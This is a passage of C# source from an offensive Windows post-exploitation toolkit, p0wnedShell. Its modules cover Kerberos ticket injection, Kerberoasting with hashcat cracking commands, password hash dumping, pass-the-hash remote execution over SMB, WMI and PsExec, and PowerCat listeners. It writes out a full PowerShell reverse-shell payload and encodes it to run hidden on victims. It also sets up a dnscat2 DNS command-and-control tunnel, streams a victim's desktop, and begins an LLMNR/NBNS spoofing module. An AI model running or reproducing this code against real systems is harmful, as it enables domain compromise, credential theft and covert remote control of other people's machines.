Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
if (File.Exists(ticket))
{
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("\n[+] Now lets inject our Kerberos ticket in the current session.\n");
Console.ResetColor();
try
{
Console.WriteLine(Pshell.RunPSCommand(Pass_The_Ticket));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Ticket not found, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
}
}
<|start_filename|>p0wnedShell/Modules/ADAttacks/p0wnedRoast.cs<|end_filename|>
using System;
using System.DirectoryServices.ActiveDirectory;
namespace p0wnedShell
{
class Roast
{
private static P0wnedListenerConsole P0wnedListener = new P0wnedListenerConsole();
public static void PowerBanner()
{
string[] toPrint = { "* Requests Service Tickets (TGS) for SPN enabled service accounts *",
"* and return extracted ticket hashes. *"};
Program.PrintBanner(toPrint);
}
public static void Menu()
{
PowerBanner();
Console.WriteLine(" 1. Query the Domain to find SPN enabled User accounts.");
Console.WriteLine();
Console.WriteLine(" 2. Use Invoke-Kerberoast to get Crackable Service Account Hashes.");
Console.WriteLine();
Console.WriteLine(" 3. Back.");
Console.Write("\nEnter choice: ");
int userInput = 0;
while (true)
{
try
{
userInput = Convert.ToInt32(Console.ReadLine());
if (userInput < 1 || userInput > 3)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
}
switch (userInput)
{
case 1:
GetUserSPNs();
break;
case 2:
Kerberoast();
break;
default:
break;
}
}
public static void GetUserSPNs()
{
string[] toPrint = { "* Query the Domain to find SPN enabled User accounts. *" };
Program.PrintBanner(toPrint);
string DomainJoined = String.Empty;
try
{
DomainJoined = Domain.GetComputerDomain().Name;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Looks like our machine is not joined to a Windows Domain.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.Write("[+] Please wait while enumerating SPN enabled User Accounts...\n");
string GetSPNs = "GetUserSPNS | more";
try
{
P0wnedListener.Execute(GetSPNs);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
public static void Kerberoast()
{
string[] toPrint = { "* Use Invoke-Kerberoast to get Crackable Service Account Hashes. *" };
Program.PrintBanner(toPrint);
string DomainJoined = String.Empty;
try
{
DomainJoined = Domain.GetComputerDomain().Name;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Looks like our machine is not joined to a Windows Domain.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.Write("[+] Please wait while enumerating Roastable User Accounts...\n");
string Roasting = "Invoke-Kerberoast -OutputFormat HashCat -WarningAction silentlyContinue | Out-File Roast.hash";
try
{
P0wnedListener.Execute(Roasting);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.WriteLine("\n[+] Crackable hashes saved in Roast.hash file using Hashcat format.");
Console.WriteLine("[+] You can crack them offline using the following (example) syntax:\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(" Using Wordlist: hashcat -m 13100 -a 0 Roast.hash /Wordlists/rockyou.txt");
Console.WriteLine(" Using Bruteforce: hashcat -m 13100 -a 3 Roast.hash ?l?l?l?l?l?l?l");
Console.ResetColor();
Console.Write("\n[+] Do you want to view the hash file? (y/n) > ");
string input = Console.ReadLine();
Console.WriteLine();
switch (input.ToLower())
{
case "y":
P0wnedListener.Execute("Get-Content ./Roast.hash | more");
break;
case "n":
return;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
}
}
<|start_filename|>p0wnedShell/Modules/LateralMov/p0wnedMov.cs<|end_filename|>
using System;
using System.IO;
using System.Net;
namespace p0wnedShell
{
class LatMovement
{
private static P0wnedListenerConsole P0wnedListener = new P0wnedListenerConsole();
public static void PowerBanner()
{
string[] toPrint = { "* Use WinRM, PsExec, SMB/WMI to execute commands on remote systems. *" };
Program.PrintBanner(toPrint);
}
public static void Menu()
{
PowerBanner();
Console.WriteLine(" 1. Use Invoke-Command (WinRM) to execute commands on a remote system.");
Console.WriteLine();
Console.WriteLine(" 2. Use Invoke-PsExec to execute commands on a remote system.");
Console.WriteLine();
Console.WriteLine(" 3. Use Get-PassHashes to dump local password Hashes (Usefull for PtH Authentication).");
Console.WriteLine();
Console.WriteLine(" 4. Use Invoke-SMBExec to perform SMBExec style command execution with NTLMv2 PtH Authentication.");
Console.WriteLine();
Console.WriteLine(" 5. Use Invoke-WMIExec to perform WMI command execution on targets using NTLMv2 PtH Authentication.");
Console.WriteLine();
Console.WriteLine(" 6. Back.");
Console.Write("\nEnter choice: ");
int userInput = 0;
while (true)
{
try
{
userInput = Convert.ToInt32(Console.ReadLine());
if (userInput < 1 || userInput > 6)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
}
switch (userInput)
{
case 1:
PSRemoting();
break;
case 2:
PsExec();
break;
case 3:
if (!Program.IsElevated)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] For this function to succeed, you need UAC Elevated Administrator privileges.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
else
{
GetPassHash();
}
break;
case 4:
PtHExec("SMB");
break;
case 5:
PtHExec("WMI");
break;
default:
break;
}
}
public static void PSRemoting()
{
string[] toPrint = { "* Use Invoke-Command to execute Scriptblocks on a remote system. *" };
Program.PrintBanner(toPrint);
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] For PowerShell remoting we need to have privileges to login remotely.");
Console.WriteLine("[+] PSRemoting also needs to be enabled on the remote host.");
Console.WriteLine("[+] On Domain Joined Computers this can be enabled as follow: \"Enable-PSRemoting -Force\".\n");
Console.ResetColor();
Console.WriteLine("[+] Do you want to use Get-Credential to enter valid credentials?");
Console.Write("[+] Press \"n\" if you're already running p0wnedshell with valid creds (Domain Admin e.g.) (y/n) > ");
Console.ForegroundColor = ConsoleColor.Green;
bool Creds = true;
string User = null;
string Hostname = null;
string input = Console.ReadLine();
Console.ResetColor();
switch (input.ToLower())
{
case "y":
Console.Write("\n[+] Please enter the user account we want to use for our session (e.g. <EMAIL>) > ");
Console.ForegroundColor = ConsoleColor.Green;
User = Console.ReadLine().TrimEnd('\r', '\n');
Console.ResetColor();
if (User == "")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid user account, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
break;
case "n":
Creds = false;
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.Write("\n[+] Now enter the hostname on which to execute your commands (e.g. dc1.gotham.local) > ");
Console.ForegroundColor = ConsoleColor.Green;
Hostname = Console.ReadLine().TrimEnd('\r', '\n');
Console.ResetColor();
if (Hostname == "")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid hostname, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
InvokeCommand(Creds, User, Hostname);
}
public static void InvokeCommand(bool Creds, string User, string Hostname)
{
Console.WriteLine("\n[+] Now enter a Command or Scriptblock we want to execute on our Target.");
Console.WriteLine("[+] For example a Encoded PowerShell Reversed Shell or Empire Payload.\n");
//Change ReadLine Buffersize
Console.SetIn(new StreamReader(Console.OpenStandardInput(8192), Console.InputEncoding, false, 8192));
Console.ForegroundColor = ConsoleColor.Green;
string Command = Console.ReadLine();
Console.ResetColor();
if (Creds)
{
string Invoke_Command_Creds = "Invoke-Command -ComputerName " + Hostname + " -Credential " + User + " -ScriptBlock {" + Command + "}";
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine();
Console.WriteLine("[+] Please wait while executing our Remote Commands...\n");
Console.ResetColor();
try
{
P0wnedListener.Execute(Invoke_Command_Creds);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
else
{
string Invoke_Command = "Invoke-Command -ComputerName " + Hostname + " -ScriptBlock {" + Command + "}";
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine();
Console.WriteLine("[+] Please wait while executing our Remote Commands...\n");
Console.ResetColor();
try
{
P0wnedListener.Execute(Invoke_Command);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
public static void PsExec()
{
string[] toPrint = { "* Use PsExec to execute commands on remote system. *" };
Program.PrintBanner(toPrint);
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] For this attack to succeed, you need to have remote Admin privileges.\n");
Console.ResetColor();
Console.Write("[+] Do you have the required permissions (e.g. Domain Admin)? (y/n) > ");
string Hostname = null;
string input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
Console.Write("\n[+] Please enter the hostname of the machine you want to run your commands on (e.g. dc1.gotham.local) > ");
Console.ForegroundColor = ConsoleColor.Green;
Hostname = Console.ReadLine().TrimEnd('\r', '\n');
Console.ResetColor();
if (Hostname == "")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid hostname, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
break;
case "n":
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] First try to elevate your permissions.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
PsExecShell(Hostname);
}
public static void PsExecShell(string Hostname)
{
string TestConnection = "Invoke-PsExec -ComputerName " + Hostname + " -Command \"whoami\" -ResultFile \"" + Program.P0wnedPath() + "\\Result.txt\"";
Pshell.RunPSCommand(TestConnection);
if (!File.Exists(Program.P0wnedPath() + "\\Result.txt"))
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Cannot connect to server, probably insufficient permission or a firewall blocking our connection.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
File.Delete(Program.P0wnedPath() + "\\Result.txt");
Console.WriteLine();
while (true)
{
int bufSize = 8192;
Stream inStream = Console.OpenStandardInput(bufSize);
Console.SetIn(new StreamReader(inStream, Console.InputEncoding, false, bufSize));
Console.Write("[system@" + Hostname + " ~]$ ");
string cmd = Console.ReadLine();
string PsExec = "Invoke-PsExec -ComputerName " + Hostname + " -Command \"" + cmd + "\" -ResultFile \"" + Program.P0wnedPath() + "\\Result.txt\"";
string Result = null;
if (cmd == "exit")
{
return;
}
else if (cmd == "quit")
{
return;
}
else
{
try
{
Pshell.RunPSCommand(PsExec);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
if (File.Exists(Program.P0wnedPath() + "\\Result.txt"))
{
Result = System.IO.File.ReadAllText(Program.P0wnedPath() + "\\Result.txt");
System.Console.WriteLine("{0}", Result);
File.Delete(Program.P0wnedPath() + "\\Result.txt");
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Oops something went wrong, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
}
}
public static void GetPassHash()
{
string[] toPrint = { "* Use Get-PassHashes to dump local password Hashes. *" };
Program.PrintBanner(toPrint);
Console.WriteLine("[+] Please wait while dumping our local password Hashes...\n");
string GetHashes = "Get-PassHashes | Out-File ./Hashes.txt; Get-Content ./Hashes.txt";
try
{
P0wnedListener.Execute(GetHashes);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("\nHashes saved in .\\Hashes.txt");
Console.ResetColor();
Console.WriteLine("\n[+] Press Enter to Continue...");
Console.ReadLine();
return;
}
public static void PtHExec(string Prot)
{
string[] toPrint = { "* Use Invoke-" + Prot + "Exec for Remote Command execution with NTLMv2 PtH. *" };
Program.PrintBanner(toPrint);
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] Invoke-" + Prot + "Exec uses a users NTLM password Hash for Authentication.\n");
Console.ResetColor();
Console.Write("[+] Do you have the required NTLM Hash? (y/n) > ");
string User = null;
string input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
Console.Write("\n[+] Please enter the name of the user we want to use for Authentication (e.g. <EMAIL>) > ");
Console.ForegroundColor = ConsoleColor.Green;
User = Console.ReadLine().TrimEnd('\r', '\n');
Console.ResetColor();
if (User == "")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid user account, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
break;
case "n":
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] First try to get the users NTLM Hash.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
IPAddress Target = IPAddress.Parse("1.1.1.1");
while (true)
{
try
{
Console.Write("[+] Enter the ip address of our Target: ");
Console.ForegroundColor = ConsoleColor.Green;
Target = IPAddress.Parse(Console.ReadLine());
Console.ResetColor();
break;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid IP address, Please Try again\n");
Console.ResetColor();
}
}
Console.Write("[+] Now enter the NTLM hash of our user account > ");
Console.ForegroundColor = ConsoleColor.Green;
string ntlm_hash = Console.ReadLine();
Console.ResetColor();
if (ntlm_hash.Length != 32)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid ntlm hash, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.WriteLine("\n[+] Finally enter a Command we want to execute on our Target.");
Console.WriteLine("[+] For example a Encoded PowerShell Reversed Shell or Empire Payload.\n");
//Change ReadLine Buffersize
Console.SetIn(new StreamReader(Console.OpenStandardInput(8192), Console.InputEncoding, false, 8192));
Console.ForegroundColor = ConsoleColor.Green;
string Command = Console.ReadLine();
Console.ResetColor();
string Invoke_Hash = "Invoke-" + Prot + "Exec -Target " + Target + " -Username \"" + User + "\" -Hash " + ntlm_hash + " -Command \"" + Command + "\" -verbose";
Console.WriteLine();
Console.WriteLine("[+] Please wait while executing our Remote Commands...\n");
try
{
P0wnedListener.Execute(Invoke_Hash);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
}
}
<|start_filename|>p0wnedShell/Modules/LateralMov/p0wnedPowerCat.cs<|end_filename|>
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
namespace p0wnedShell
{
class PowerCat
{
private static P0wnedListenerConsole P0wnedListener = new P0wnedListenerConsole();
public static void PowerBanner()
{
string[] toPrint = { "* PowerCat our PowerShell TCP/IP Swiss Army Knife. *" };
Program.PrintBanner(toPrint);
}
public static void Menu()
{
PowerBanner();
Console.WriteLine(" 1. Setup an Reversed PowerCat Listener and generate a Powershell Payload.");
Console.WriteLine();
Console.WriteLine(" 2. Connect to a remote PowerCat Listener.");
Console.WriteLine();
Console.WriteLine(" 3. Create a DNS tunnel to a remote DNSCat2 Server.");
Console.WriteLine();
Console.WriteLine(" 4. Create an Reversed Listener/Server for <NAME>'s Show-TargetScreen function.");
Console.WriteLine();
Console.WriteLine(" 5. Back.");
Console.Write("\nEnter choice: ");
int userInput=0;
while (true)
{
try
{
userInput = Convert.ToInt32(Console.ReadLine());
if (userInput < 1 || userInput > 5)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
}
switch (userInput)
{
case 1:
PowerReversed();
break;
case 2:
PowerClient();
break;
case 3:
PowerTunnel();
break;
case 4:
ShowScreen();
break;
default:
break;
}
}
public static void PowerReversed()
{
PowerBanner();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] Setup an reversed listener so remote clients can connect-back to you.\n");
Console.ResetColor();
int Lport = 0;
IPAddress Lhost = IPAddress.Parse("1.1.1.1");
IPAddress LocalIPAddress = null;
foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
{
if (address.AddressFamily == AddressFamily.InterNetwork)
{
LocalIPAddress = address;
break;
}
}
if (LocalIPAddress != null)
{
Console.Write("[+] Our local IP address is: {0}, do you want to use this? (y/n) > ", LocalIPAddress);
Lhost = LocalIPAddress;
}
string input = Console.ReadLine();
switch(input.ToLower())
{
case "y":
break;
case "n":
while (true)
{
try
{
Console.Write("\n[+] Enter ip address of your PowerCat Listener (e.g. 127.0.0.1): ");
Console.ForegroundColor = ConsoleColor.Green;
Lhost = IPAddress.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
break;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid IP address, Please Try again");
Console.ResetColor();
}
}
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
while (true)
{
try
{
Console.Write("[+] Now Enter the listening port of your PowerCat Listener (e.g. 1337 or 4444): ");
Console.ForegroundColor = ConsoleColor.Green;
Lport = int.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
if (Lport < 1 || Lport > 65535)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
}
string Payload = "$client = New-Object System.Net.Sockets.TCPClient(\""+Lhost+"\","+Lport+");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
Console.WriteLine("[+] Generating a PowerShell Payload which you can run on your remote clients, so they connect-back to you ;)\n");
Console.ForegroundColor = ConsoleColor.Green;
File.WriteAllText(Program.P0wnedPath()+"\\Invoke-PowerShellTcpOneLine.ps1", Payload);
Console.WriteLine("Payload saved as\t\t .\\Invoke-PowerShellTcpOneLine.ps1");
//System.Diagnostics.Process.Start("notepad.exe", Program.P0wnedPath()+"\\Invoke-PowerShellTcpOneLine.ps1");
Console.ResetColor();
string Encode = "Invoke-Encode -DataToEncode "+Program.P0wnedPath()+"\\Invoke-PowerShellTcpOneLine.ps1 -OutCommand -OutputFilePath "+Program.P0wnedPath()+"\\Encoded.txt -OutputCommandFilePath "+Program.P0wnedPath()+"\\EncodedPayload.bat";
Pshell.RunPSCommand(Encode);
string EncodedCmd = String.Empty;
if (File.Exists(Program.P0wnedPath()+"\\EncodedPayload.bat"))
{
File.Delete(Program.P0wnedPath()+"\\Encoded.txt");
EncodedCmd = File.ReadAllText(Program.P0wnedPath()+"\\EncodedPayload.bat");
File.WriteAllText(Program.P0wnedPath()+"\\EncodedPayload.bat", "powershell.exe -windowstyle hidden -e " + EncodedCmd);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Encoded Payload saved as\t .\\EncodedPayload.bat");
Console.ResetColor();
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Oops something went wrong, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.Write("\n[+] Do you want to view the Encoded Payload? (y/n) > ");
input = Console.ReadLine();
Console.WriteLine();
switch (input.ToLower())
{
case "y":
P0wnedListener.Execute("Get-Content ./EncodedPayload.bat");
Console.WriteLine();
break;
case "n":
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.WriteLine("[+] Now please wait while setting up our Listener...\n");
string Reversed = "powercat -l -p "+Lport+" -t 1000 -Verbose";
try
{
P0wnedListener.Execute(Reversed);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
public static void PowerClient()
{
PowerBanner();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] Let's connect to a remote listener..\n");
Console.ResetColor();
int Rport = 0;
IPAddress Rhost = IPAddress.Parse("1.1.1.1");
while (true)
{
try
{
Console.Write("[+] Enter ip address of your remote PowerCat Listener (e.g. 192.168.1.1): ");
Console.ForegroundColor = ConsoleColor.Green;
Rhost = IPAddress.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
break;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid IP address, Please Try again\n");
Console.ResetColor();
}
}
while (true)
{
try
{
Console.Write("[+] Now Enter the listening port of your PowerCat Listener (e.g. 1337 or 4444): ");
Console.ForegroundColor = ConsoleColor.Green;
Rport = int.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
if (Rport < 1 || Rport > 65535)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
}
string Session = "";
Console.WriteLine("[+] Do you want to setup a remote PowerShell tunnel to your Listener?");
Console.Write("[+] Otherwise a cmd session will be opened (y/n) > ");
string input = Console.ReadLine();
switch(input.ToLower())
{
case "y":
Session = "-ep";
break;
case "n":
Session = "-e cmd";
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.WriteLine("\n[+] Please wait while connecting to our Listener...\n");
string PowerClient = "powercat -c "+Rhost+" -p "+Rport+" "+Session+" -Verbose";
try
{
P0wnedListener.Execute(PowerClient);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
public static void PowerTunnel()
{
PowerBanner();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] This tool is designed to create an encrypted command-and-control (C&C) channel over the DNS protocol,");
Console.WriteLine("[+] which is an effective tunnel out of almost every network.");
Console.WriteLine("[+] The server is designed to be run on an authoritative DNS server, so first make sure you have set this up.\n");
Console.ResetColor();
string Domain = "";
while(true)
{
Console.Write("[+] Please enter the domain name of our DNSCat2 server (e.g. CheeseHead.com) > ");
Console.ForegroundColor = ConsoleColor.Green;
Domain = Console.ReadLine().TrimEnd('\r', '\n');
Console.ResetColor();
if (Domain == "")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid domain name, please try again\n");
Console.ResetColor();
}
else
{
break;
}
}
string Session = "";
Console.Write("\n[+] Do you want to setup a remote PowerShell tunnel (otherwise a cmd session will be opened)? (y/n) > ");
string input = Console.ReadLine();
switch(input.ToLower())
{
case "y":
Session = "-ep";
break;
case "n":
Session = "-e cmd";
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.WriteLine();
Console.WriteLine("[+] Now make sure you run the following command on your DNSCat2 server:\n\n");
Console.ForegroundColor = ConsoleColor.Blue;
Console.WriteLine("To install the server (if not already installed):");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("$ git clone https://github.com/iagox86/dnscat2.git");
Console.WriteLine("$ cd dnscat2/server/");
Console.WriteLine("$ gem install bundler");
Console.WriteLine("$ bundle install\n");
Console.ForegroundColor = ConsoleColor.Blue;
Console.WriteLine("\nAnd to run the server:");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("$ sudo ruby ./dnscat2.rb "+Domain+"\n\n");
Console.ResetColor();
Console.WriteLine("[+] Ready to Rumble? then Press Enter to continue and wait for Shell awesomeness :)\n");
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
Console.WriteLine("[+] Please wait while setting up our DNS Tunnel...\n");
string DNSCat = "powercat -dns "+Domain+" "+Session+" -Verbose";
try
{
P0wnedListener.Execute(DNSCat);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
public static void ShowScreen()
{
PowerBanner();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] Creates an Reversed Listener/Server for <NAME>'s Show-TargetScreen function,");
Console.WriteLine("[+] which can be used with Client Side Attacks. This code can stream a target's desktop in real time");
Console.WriteLine("[+] and could be seen in browsers which support MJPEG (Firefox).\n");
Console.ResetColor();
int Lport = 0;
int Rport = 0;
while (true)
{
try
{
Console.Write("[+] Please Enter the listening port of your PowerCat Listener (e.g. 443): ");
Console.ForegroundColor = ConsoleColor.Green;
Lport = int.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
if (Lport < 1 || Lport > 65535)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
}
while (true)
{
try
{
Console.Write("[+] Now Enter a local relay port to which Show-TargetScreen connects (e.g. 9000): ");
Console.ForegroundColor = ConsoleColor.Green;
Rport = int.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
if (Lport < 1 || Lport > 65535)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
}
Console.WriteLine("[+] Please wait while setting up our Show-TargetScreen Listener/Relay...\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Now if we point Firefox to http://127.0.0.1:"+Rport+ " and run Show-TargetScreen on a victim,");
Console.WriteLine("we should have a live stream of the target user's Desktop.\n");
Console.ResetColor();
string ShowTargetScreen = "powercat -l -v -p " + Lport + " -r tcp:"+Rport+" -rep -t 1000";
try
{
P0wnedListener.Execute(ShowTargetScreen);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
}
}
<|start_filename|>p0wnedShell/Modules/PrivEsc/p0wnedInveigh.cs<|end_filename|>
using System;
using System.IO;
using System.Net;
namespace p0wnedShell
{
class Inveigh
{
private static P0wnedListenerConsole P0wnedListener = new P0wnedListenerConsole();
public static void PowerBanner()
{
string[] toPrint = { "* Inveigh a PowerShell based LLMNR/mDNS/NBNS Spoofer/MITM tool. *" };
Program.PrintBanner(toPrint);
}
public static void Menu()
{
PowerBanner();
Console.WriteLine(" 1. Start Invoke-Inveigh to capture NTLMv1/NTLMv2 Hashes from the Network");
Console.WriteLine();
Console.WriteLine(" 2. Use Inveigh-Relay for HTTP to SMB relaying with PsExec style Command Execution.");
Console.WriteLine();
Console.WriteLine(" 3. Get-Inveigh will get stored Inveigh data from memory.");
Console.WriteLine();
Console.WriteLine(" 4. Stop-Inveigh will stop all running Inveigh functions.");
Console.WriteLine();
Console.WriteLine(" 5. Back.");
Console.Write("\nEnter choice: ");
int userInput = 0;
while (true)
{
try
{
userInput = Convert.ToInt32(Console.ReadLine());
if (userInput < 1 || userInput > 5)
{
